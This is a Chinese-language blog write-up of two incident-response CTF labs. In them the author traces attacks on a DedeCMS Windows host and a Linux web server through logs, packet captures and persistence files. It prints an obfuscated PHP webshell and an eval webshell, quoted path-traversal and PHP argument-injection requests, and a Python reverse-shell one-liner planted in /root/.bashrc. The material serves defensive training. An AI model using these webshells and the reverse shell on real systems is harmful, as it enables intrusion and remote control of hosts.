玄机靶场通关
全部要VIP,所以穷鬼我要看别人的WP来学
Windows应急-应急与研判训练计划一
服务器场景操作系统 Windows
服务器账号密码 administrator P@ssw0rd
题目来源公众号 ©州弟学安全 任务环境说明这是某单位正常运行的主机,但由于安全防范意识不到位,导致系统被攻击。目前已知攻击者成功接管了系统。需要通过上机排查,利用开放的服务快速识别攻击者的操作、最终攻击成功的方法以及接管成功的IP。相关工具和全程流量数据已放置在桌面中。1. 你需要根据环境内的所有工具和文件,附件等,根据应急响应形式快速排查出攻击者的所有行为2. 你需要排查出攻击者最后利用成功的漏洞以及利用成功IP进行整理3. 你需要自己按照攻击者思路写一份攻击者大概的攻击思路或攻击流程图4. 你可以借助一切工具,你可以把它当作实战,这里没有任何约束条件注:样本请勿在本地运行!!!样本请勿在本地运行!!!样本请勿在本地运行!!!应急响应工程师小王某人收到安全设备告警服务器被植入恶意文件,请上机排查
原文地址:Windows应急-应急与研判训练计划 - 玄机靶场_windows应急-应急与研判训练计划 一-CSDN博客、Windows应急-应急与研判训练计划 一-CSDN博客
步骤一:请找出攻击者攻击成功的端口,如多个端口,则从小到大
检查开放端口-netstat -nao
通过netstat
命令,发现 3389 端口(远程桌面)和 80/8080 端口(WEB 服务)开放。
这些端口的开放可能意味着系统可能被远程访问或有 WEB 服务在运行。
21 - FTP(文件传输协议)
80 - HTTP(网页服务)
135 - Microsoft RPC(远程过程调用)
445 - Microsoft-DS(用于共享文件和打印机)
3306 - MySQL 数据库
8080 - 常用于代理服务器或 Web 服务(如 Tomcat)
9000 - 可能是 PHP-FPM 或者 SonarQube 监听端口
端口 47001-49684 这些端口可能是 Windows 动态端口(Ephemeral Ports),用于临时连接。
答案:flag{21,3389,8080}
步骤二:请找出攻击者上传的恶意文件名
根据端口号查看服务-tasklist /fi "PID eq 628"
也可以如此分析tasklist | findstr "480 708 64 2144 612 1880 628"
tasklist|findstr 628
使用cmder工具可以在windows中使用linux中的命令如:cat、awk等等
分析得知,系统使用phpstudy搭建了两个web服务端口分别为80、8080,其中80为静态网站、8080为dedecms网站。
服务中间件是nginx,查看nginx日志文件,先查看了一下error.log,发现除了127.0.0.1还有192.168.18.133具有大量访问失败的记录并且访问的网站端口基本都是8080。
使用 awk "{print $1}" access.log | sort | uniq -c 可以统计访问者中源ip地址与其个数
awk
是一个文本处理工具,{print $1}
表示打印每一行的第 1 列(通常是访问者的 IP 地址)。
sort
命令会对提取出的 IP 地址进行排序,这样相同的 IP 会排列在一起,便于后续统计。
uniq
负责去重,-c
选项让它统计每个 IP 地址的出现次数。
查看access.log文件发现主要记录是127.0.0.1和192.168.18.133,所以几乎可以确定攻击者为:192.168.18.133
使用awk "$9!=404 {print $1,$6,$7,$9}" access.log
,在最后发现一个可疑的命令访问了phpinfo();
但是没有成功,恶意文件名应该就是为newfile1.php
'$9!=404'
:条件判断,表示如果第 9 列(HTTP 响应状态码)不等于 404,则执行 {print $1,$6,$7,$9}
。
{print $1,$6,$7,$9}
:
$1
:第一列,客户端 IP 地址。$6
:第六列,请求方法(如GET
、POST
)。$7
:第七列,请求的 URL 路径。$9
:第九列,HTTP 响应状态码。
攻击者通过newfile1.php
对phpinfo()
进行了访问,因此为恶意文件
答案:newfile1.php
awk "$9!=404 {print $1,$6,$7,$9}" access.log | grep POST
过滤POST相关的记录分析得应该是通过弱口令成功登录网站,然后通过网站后台写入木马。
/dede/login.php
是织梦CMS(DedeCMS)的默认后台登录路径。
192.168.18.133
成功登录了后台,最后应该是在templets_one_edit.php
中写入了木马。
-
可疑文件上传:
192.168.18.133 "POST /general/index/Upload File.php?m-uploadPicture&uploadType-eoffice_logo&userId= 403 192.168.18.18.133 "POST /module/ueditor/php/action_upload.php?action-uploadfile 403
- 尝试利用上传接口(如
Upload File.php
、UEditor的action_upload.php
)上传恶意文件,但部分请求被拦截(403)。
- 尝试利用上传接口(如
-
路径穿越与命令执行:
192.168.18.133 "POST /cgi-bin/.%2e/%20%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh 400 192.168.18.133 "POST /.%0d./.%0d./.%0d./.%0d./bin/sh%20HTTP/1.0 500
- 使用路径穿越(
../
)尝试执行系统命令(/bin/sh
),可能意图获取服务器控制权。
- 使用路径穿越(
-
PHP代码注入:
192.168.18.133 "POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input 200
- 通过修改PHP配置参数(
allow_url_include
和auto_prepend_file
),尝试从输入流执行任意PHP代码。
- 通过修改PHP配置参数(
-
敏感文件泄露:
192.168.18.133 "POST /public/index.php/material/Material/_download_imgage?media_id=1&picUrl=./../config/database.php 403
- 尝试通过路径穿越下载数据库配置文件(
database.php
),获取数据库凭据。
- 尝试通过路径穿越下载数据库配置文件(
在网站目录下搜索newfile得到了木马文件
<? @("Y;HJ(Z""8H;/Z.")(${"~?}$""!x8p"}[1]);
'Y' ^ '8' = 89 ^ 56 = 105 → 'i'
';' ^ 'H' = 59 ^ 72 = 115 → 's'
'H' ^ ';' = 72 ^ 59 = 115 → 's'
'J' ^ '/' = 74 ^ 47 = 101 → 'e'
'(' ^ 'Z' = 40 ^ 90 = 114 → 'r'
'Z' ^ '.' = 90 ^ 46 = 116 → 't'
'~' ^ '!' = 126 ^ 33 = 95 → '_'
'?' ^ 'x' = 63 ^ 120 = 95 → '_'
'}' ^ '8' = 125 ^ 56 = 69 → 'E'
'$' ^ 'p' = 36 ^ 112 = 84 → 'T'
"issert"
→ 实际应为 assert
(可能是混淆时的字符偏移误差)。
__ET
→ 实际应为 _POST
解密后即为:
<? @assert($_POST[1]);
步骤三:请找出攻击者最终攻击成功的端口
靶机给出流量包中进行分析:
我们通过对这靶机的了解不难看出,攻击者发现了目标后,通过对网站弱口令的爆破后放置恶意文件,最终拿下了整个服务器的权限,所以我们可以结合情况得知,真正攻击成功的端口是3389
答案:3389
步骤四:请找出攻击者最终攻击成功端口的IP
使用FullEventLogView工具对系统的事件进行查看发现攻击者的爆破行为与接管的主机为192.168.18.1
在 Windows 安全日志中:
- 事件 ID 4625 表示 登录失败(An account failed to log on)。
- 该事件通常在 Windows 安全日志(Security Log)中记录。
- 失败的登录尝试可能由于密码错误、账户锁定、用户不存在等原因。
配合其他事件 ID 进一步分析
- 成功登录(事件 ID 4624):如果一个 IP 先出现多个 4625,随后出现 4624,说明可能成功破解了密码。
- 账户锁定(事件 ID 4740):如果某个用户连续多次 4625,随后触发 4740,说明账户已被锁定。
答案:192.168.18.133
步骤五:请找出攻击者最后接管服务器的IP
答案:192.168.18.1
第九章-blueteam 的小心思
服务器场景操作系统 Linux
服务器账号密码 root qi5qaz任务环境说明注:进去后执行 sed -i 's/Listen 80/Listen 9999/' /etc/apache2/ports.conf && service apache2 restart
原文地址:玄机:第九章-blueteam 的小心思-CSDN博客、玄机——第九章-blueteam 的小心思 wp(HVV——“蓝队”应急响应简单模拟例题)-CSDN博客
步骤一:攻击者通过什么密码成功登录了网站的后台?提交密码字符串的小写md5值,格式flag{md5}。
使用shell进行一个连接,执行命令
sed -i 's/Listen 80/Listen 9999/' /etc/apache2/ports.conf && service apache2 restart
sed
:流编辑器,用于文本替换、删除等操作。
-i
:表示直接修改文件,而不是输出到终端。
's/Listen 80/Listen 9999/'
:使用 sed
的替换命令(s/old/new/
),将 Listen 80
替换为 Listen 9999
。
/etc/apache2/ports.conf
:Apache 端口配置文件,通常包含 Listen 80
这样的配置项,表示 Apache 监听 80 端口。
service apache2 restart
:重新启动 Apache 服务器,使新的端口配置生效。
靶机可以通过这种方式,可以改变 Apache Web 服务器的默认监听端口,常用于避免端口冲突或者提升服务器的安全性(通过使用非标准端口)。
并把wireshark.pcap
文件下载到本地,用 wireshark 打开,使用显示过滤器过滤http:
直接找到了密码,经MD5加密即可
答案:"Aa12345^"
步骤二:攻击者在哪个PHP页面中成功上传了后门文件?例如upload.php页面,上传字符串"upload.php"的小写md5值,格式flag{md5}。
我们可以查找一下“boundary”(boundary 一般常用在 multipart/form-data POST 请求中分隔不同的部分(part),例如文件和其他数据)
http contains "boundary"
可以发现这里上传了一个名为cpg.zip
的压缩包,并且其中包含了cpg.php
,内容为<?php @eval($_POST["m3"]);?>
的后门文件。
答案:"pluginmgr.php"的MD5值
步骤三:找到攻击者上传的webshell文件,提交该文件的小写md5值,格式flag{md5}。
在shell中把网站根目录/var/www/html
文件下载下来再用D盾扫描:
答案:cpg.php文件的MD5值
步骤四:攻击者后续又下载了一个可执行的后门程序,提交该文件的小写md5值,格式flag{md5}。
解题思路一:根据上传第一个webshell的时间来筛选前后下载的文件
stat cpg.php
stat
:用于显示文件或目录的详细状态信息。
现已确定文件修改时间(2023-11-18 07:39:36),及文件所有者(www-data);
使用以下命令分析前后两天用户“www-data”的行为:
find / -newerct '2023-11-18 07:30:00' ! -newerct '2023-11-19 07:30:00' ! -path '/proc/*' ! -path /'sys/*' ! -path '/run/*' -type f -exec ls -lctr --full-time {} \+ 2>/dev/null | grep www-data
find /
—— 在整个系统中搜索
-newerct '2023-11-18 07:30:00' ! -newerct '2023-11-19 07:30:00'
—— 按修改时间筛选
-newerct
按 "变更时间 (ctime
)" 进行比较,查找比指定日期更新的文件。加上!
即为反选
! -path '/proc/\*' ! -path '/sys/\*' ! -path '/run/\*'
—— 排除特定目录
/proc/
、/sys/
和/run/
目录是虚拟文件系统,通常包含系统运行时的信息,而不是普通文件,所以这些目录被排除。
-type f
—— 只搜索普通文件
-exec ls -lctr --full-time {} \+
—— 详细列出文件信息
-
-exec ... {} \+
:对找到的文件批量执行ls
命令,减少进程创建开销。 -
ls -lctr --full-time
选项解析:
-l
:详细模式(包含权限、所有者、文件大小等)。-c
:按文件ctime
(元数据修改时间)排序(默认ls
按mtime
排序)。-t
:按时间排序,最近修改的排在最后。-r
:反向排序,让最早修改的文件排在前面。--full-time
:显示完整的时间戳(包括秒和时区)。
2>/dev/null
—— 屏蔽错误信息
| grep www-data
—— 过滤出由 www-data
拥有的文件
解题思路二:继续分析流量包中的数据
可以发现攻击者利用上传的木马执行了在124.221.70.199
服务器中的is.world
文件
搜索该文件即可找到
答案:is.world文件的MD5值
步骤五:攻击者创建了后门用户的名称是?例如attack恶意用户,上传字符串"attack"的小写md5值,格式flag{md5}。
题目的意思为攻击者在攻击了靶机后创建了新用户
我们可以查看/etc/passwd 文件,其中包含了所有用户的信息,包括用户名和用户ID等:
cat /etc/passwd
最下面的账户 UID 和 GID 都是 0,意味着它具有与 root 用户相同的权限。
/home/knowledgegraphd
是这个用户的主目录。/bin/bash
是这个用户的默认 shell,允许用户执行命令,这进一步表明这是一个高权限用户。
答案:"knowledgegraphd"的MD5值
步骤六:攻击者创建了一个持久化的配置项,导致任意用户登录就会触发后门的连接。提交该配置项对应配置文件的小写md5值,格式flag{md5}。
黑客在 Linux 系统上创建持久化配置项,以在任意用户登录时触发后门连接,通常会利用以下shell配置文件
常见的文件包括:
”~/.bashrc“:用于 Bash Shell,会在每次打开新的终端或登录 Shell 时执行。
”/.bash_profile“或”/.profile“:这些文件在用户登录时执行。
”~/.zshrc“:用于Zsh Shell,与”~/.bashrc“类似。
”/etc/profile“:为所有用户提供的系统级别的配置文件,
”/etc/bash.bashrc“:为所有用户提供的系统级别的配置文件,Bash Shell 专用。
在查看到profile文件时发现关键
cat /etc/profile
得到:
简单分析一下:
简单来说就是 /etc/profile 文件的内容,这是一个系统范围的配置文件,用于设置 Bourne shell(如 sh、bash、ksh 等)的全局环境变量和配置。
- 首先,这段代码检查是否存在交互式 shell 的环境变量
${PS1-}
。如果存在,它会进一步检查是否在 Bash 环境下,并且 Bash 的路径不是/bin/sh
。 - 如果是 Bash,并且存在
/etc/bash.bashrc
文件,则会载入该文件的配置。 - 如果当前用户是 root 用户(通过 id -u 命令检查),则设置提示符 PS1 为 #,表示超级用户权限。否则设置为 $,表示普通用户权限。
- 接下来就是黑客插入的后门程序:
/var/www/html/plugins/". "/is.world &
,它是一个恶意添加的行,试图运行一个不明的命令或程序。 - 最后,如果
/etc/profile.d
目录存在,则会加载该目录下所有可读的 .sh 结尾的脚本文件,以扩展 shell 的配置。
还有一种做法,就是一般这种配置在/etc,猜测是执行可执行文件,所以我们直接在"/etc"这个进行查找我们之前已知的可执行程序“is.world”;
我们使用命令:
grep -Er "is.world" /etc
-E
: 表示启用扩展的正则表达式(Extended Regular Expression)模式。这使得grep
可以识别更多的正则表达式语法。-r
: 表示递归地在指定目录及其子目录中搜索。
得到:
答案:"/etc/profile"的MD5值
步骤六:攻击者创建了一个持久化的配置项,导致只有root用户登录才会触发后门的连接。提交该配置项对应配置文件的小写md5值,格式flag{md5}。
跟上题差不多,只不过这里是只有root用户登录才会触发后门连接,那这里我们需要确定黑客可利用的文件或者位置,那这里我们就可以猜测了,如果黑客希望在只有root用户登录时才触发后门连,其它用户则不会,那他一般会挑选以下文件和目录;
“/root/.bashrc”:在root用户登录Bash Shell时执行;
“/root/.bash_profile”:在root用户登录时执行。
“/root/.profile”:在root用户登录时执行。
“/etc/profile”:所有用户登录时执行,但可以通过特定的条件使其仅在root用户登录时触发。(这个概率就非常大,且也符合我们的猜测)
“/etc/rc.local”:系统启动时执行,可以包含条件逻辑;
还是跟上题一样老操作,一个一个分析过去即可,最后也是在“/root/.bashrc”中发现关键:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("124.221.70.199",9919));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' &
import socket,subprocess,os
导入必要的Python模块:socket
:用于网络通信。subprocess
:允许执行系统命令。os
:提供操作系统接口。
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
创建一个IPv4(AF_INET
)的TCP(SOCK_STREAM
)套接字对象。s.connect(("124.221.70.199",9919))
连接到远程IP地址124.221.70.199
的9919
端口。此IP和端口可能是攻击者控制的服务器。os.dup2(s.fileno(),0)
os.dup2()
用于复制文件描述符。- 将套接字的文件描述符(
s.fileno()
)复制到标准输入(0
),使得远程输入被当作本地输入。
os.dup2(s.fileno(),1)
将套接字的文件描述符复制到标准输出(1
),本地输出会发送到远程。os.dup2(s.fileno(),2)
将套接字的文件描述符复制到标准错误(2
),错误信息也会发送到远程。p=subprocess.call(["/bin/sh","-i"])
启动一个交互式Shell(/bin/sh -i
),并将输入/输出/错误重定向到套接字。此时,攻击者可通过远程服务器完全控制目标系统。&
将进程放到后台运行,避免被用户立即察觉。
答案:"/root/.bashrc"的MD5值
步骤八:攻击者加密了哪个数据库?提交数据库的文件夹名,例如user数据库对应存放位置为user文件夹,上传字符串"user"的小写md5值,格式flag{md5}。
数据库的登录信息(账号密码),一般都会储存在配置文件“config.inc.php”中,那我们这里还是直接定位配置文件位置过去查看即可:
find / -name config.inc.php
使用navitcat连接:
在“JPMorgan Chase”数据库中发现它打不开(啥都打不开);
报错,怀疑可能有加密;(符合题目要求,尝试进行MD5加密提交)
find / -name JPMorgan@0020Chase
得到:
答案:"JPMorgan@0020Chase"的MD5值
步骤九:解密数据库,提交Harper用户对应Areer的值。提交Areer值的小写md5值,格式flag{md5}。
题目让我们解密数据库,提交Harper用户对应的Areer的值并且进行MD5加密,那这里黑客肯定是对表“Balance”进行了什么操作才导致进不去,那我们就尝试查找一下黑客比文件“cpg.php“新,又比闻文件“Balance.frm”旧的所有文件:
find / -type f -newer /var/www/html/plugins/cpg.php ! -newer /var/lib/mysql/JPMorgan@0020Chase/Balance.frm
-
生成基于当前日期的MD5哈希值作为加密密钥。
-
生成一个基于特定字符串的初始化向量(IV)。
-
遍历指定目录中的所有文件,读取其内容并使用AES-256-CBC加密算法进行加密。
-
将加密后的内容覆盖写回到原文件。
简单来说就是这个PHP脚本的作用是对指定目录下的所有文件进行加密,指定目录那可不就是“/var/lib/mysql/JPMorgan@0020Chase”,那咋办嘞,直接写一个反推的脚本;
<?php
$currentDate = date("Y-m-d");
$key = md5('2023-11-18');
$iv = substr(hash('sha256', "DeepMountainsGD"), 0, 16);
$filePath = "/var/lib/mysql/JPMorgan@0020Chase";
$files = scandir($filePath);
foreach ($files as $file) { if ($file != "." && $file != "..") { $fullPath = $filePath . '/' . $file; $encryptedContent = file_get_contents($fullPath); $decryptedContent = openssl_decrypt($encryptedContent, 'aes-256-cbc', $key, 0, $iv); file_put_contents($fullPath, $decryptedContent); }
}
?>
- 使用固定的日期 “2023-11-18” 生成MD5哈希值作为解密密钥。
- 生成一个基于特定字符串的初始化向量(IV)。
- 遍历指定目录中的所有文件,读取其内容并使用AES-256-CBC解密算法进行解密。
- 将解密后的内容覆盖写回到原文件。
把解密脚本写在/var/www/mysql/目录下即可
接着运行:
php 123.php
运行完成,就先不要急着返回刷新数据库,最好先重启一下数据库;
使用命令:
sudo systemctl restart mysql
返回数据库
答案:"Chef"的MD5值
步骤十:因为什么文件中的漏洞配置,导致了攻击者成功执行命令并提权。提交该文件的小写md5值,格式flag{md5}。
题目让我们找到黑客提权所使用的文件,既然说了提权那我们就可以直接使用命令查找系统中以 root 用户身份拥有并设置了 SUID(Set User ID)权限的文件。
find / -user root -perm -4000 2>/dev/null
-user root
: 查找所有属于 root 用户的文件。-perm -4000
: 查找设置了 SUID 位的文件(即特殊权限位)。4000
是八进制表示法,用于指定 SUID 位。-perm -4000
意味着查找具有 SUID 权限的文件,无论其他权限如何。
简单来说是为了查找被黑客利用的具有 SUID 权限的文件。设置了 SUID 位的文件在执行时将以文件所有者(通常是 root 用户)的权限运行,而不是以执行者的权限运行。黑客可能会利用这些文件进行提权攻击,即通过这些文件获取 root 权限,从而对系统进行更高权限的操作。
发现/usr/bin/sudo
:Sudo 是一个常见的提权工具,肯定会被滥用。
/usr/bin/sudo
:
使用广泛:Sudo 被广泛用于权限提升,如果配置中有漏洞,黑客可以利用 sudo 提权。
历史漏洞:Sudo 曾经存在一些被利用的漏洞,比如 CVE-2019-14287,可以绕过限制。
那我们进一步的分析一下/etc/sudoers
为什么会分析/etc/sudoers
呢?
权限配置:了解哪些用户或用户组被授予了 sudo 权限。如果配置不当,可能允许普通用户以 root 权限运行命令,从而导致安全问题。
命令限制:查看是否有特定用户被允许执行特定的命令,而不需要输入密码。如果这些命令存在漏洞,可能被黑客利用来提权。
安全策略:确认是否启用了安全策略,例如 requiretty 选项(要求 sudo 命令只能从终端运行),或 NOPASSWD 选项(允许某些命令无需密码运行)。
日志记录:检查 sudoers 文件中是否有日志记录配置,方便追踪 sudo 命令的使用情况。
简而言之: /etc/sudoers
包含了系统上 sudo 的配置和权限设置
cat /etc/sudoers
www-data ALL=(root) NOPASSWD: /bin/systemctl status apache2.service
:www-data
用户可以以 root
身份执行 /bin/systemctl
status
apache2.service
命令,并且无需输入密码。
答案:"/etc/sudoer"的MD5值